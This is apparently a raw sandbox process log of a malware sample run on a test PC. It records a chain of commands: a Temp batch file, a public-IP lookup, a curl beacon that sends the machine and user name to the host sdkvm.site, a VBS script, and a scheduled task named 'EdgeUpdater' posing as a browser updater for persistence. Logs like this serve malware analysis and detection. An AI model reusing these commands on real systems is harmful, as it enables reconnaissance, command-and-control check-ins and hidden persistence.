cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "xHmp" C:\Users\test22\AppData\Local\Temp\func.bat
2564cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "(Invoke-Webrequest "http://api.ipify.org").content"
2832powershell.exe powershell -command "(Invoke-Webrequest "http://api.ipify.org").content"
2888powershell.exe powershell -command "c:\windows\system32\curl.exe" https://sdkvm.site/def/check.php?pcn=TEST22-PC:test22:+
2980cscript.exe c:\windows\system32\cscript.exe /nologo "C:\Users\test22\AppData\Local\Temp\9710-24515-9690-30722.vbs"
3068schtasks.exe c:\windows\system32\schtasks.exe /create /sc daily /tn "EdgeUpdater" /tr "c:\programdata\start.lnk" /st 10:00 /F
1484explorer.exe C:\Windows\Explorer.EXE
1452